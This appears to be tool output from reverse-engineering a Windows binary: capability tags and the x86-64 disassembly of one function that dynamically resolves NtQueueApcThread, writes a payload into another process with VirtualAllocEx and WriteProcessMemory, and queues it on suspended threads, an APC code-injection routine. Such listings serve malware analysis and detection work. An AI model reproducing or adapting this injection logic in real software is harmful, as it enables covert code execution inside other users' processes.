Function at 0x180002cb4
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, r8
and dword [rbp - 0x28], esi
and qword [rbp - 0x40], rax
mov r12, rdx
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rax
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov r13, rcx
mov ebx, 5
xor r14d, r14d
call fcn.180005c00
mov r15, rax
test rax, rax
je 0x180002f53
cmp dword [rbp + 0x60], 1
mov rax, qword [rbp + 0x68]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x70]
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x38], rax
jne 0x180002d45
mov ecx, ebx
jmp 0x180002ec6
cmp dword [rbp + 0x60], 2
jne 0x180002ec1
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp - 0x48], rax
test rax, rax
je 0x180002ecc
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x180002ecc
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
je 0x180002ecc
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180002ecc
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x15c
mov rcx, rdi
mov dword [rsp + 0x20], pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x180002de9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13, qword [rbp + 0x40]
jmp 0x180002ed2
and qword [rsp + 0x20], 0
lea r8, [0x18002e490]
mov r9d, 0x144
mov rdx, rax
mov rcx, rdi
lea r12, [rax + 0x144]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002e1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [rbp + 0x48]
jmp 0x180002de0
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x18
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002e13
mov r14, qword [rbp - 0x50]
mov eax, dword [rbp + 0x58]
cmp dword [rbp - 0x1c], eax
jne 0x180002ea3
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180002ea3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x180002e9a
mov rdx, rdi
mov rcx, r15
call fcn.180005eb4
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r12
mov rdx, r13
mov rcx, rdi
call r14
test eax, eax
jne 0x180002ea3
xor ebx, ebx
jmp 0x180002ea3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180002e43
mov r14, qword [rbp - 0x48]
mov r12, qword [rbp + 0x48]
mov r13, qword [rbp + 0x40]
jmp 0x180002ed4
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x180002f1f
test r13, r13
je 0x180002f1f
test r12, r12
je 0x180002f1f
lea r8d, [rbx + 2]
mov edx, 0x20196
mov rcx, r12
call fcn.18000443c
mov r8, r12
mov rdx, r13
xor ecx, ecx
call fcn.180004ad0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180002f1f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180005f40
mov rdi, rax
test rax, rax
jne 0x180002f0d
mov rcx, r15
call fcn.180005c50
test rsi, rsi
je 0x180002f45
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x180002f53
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret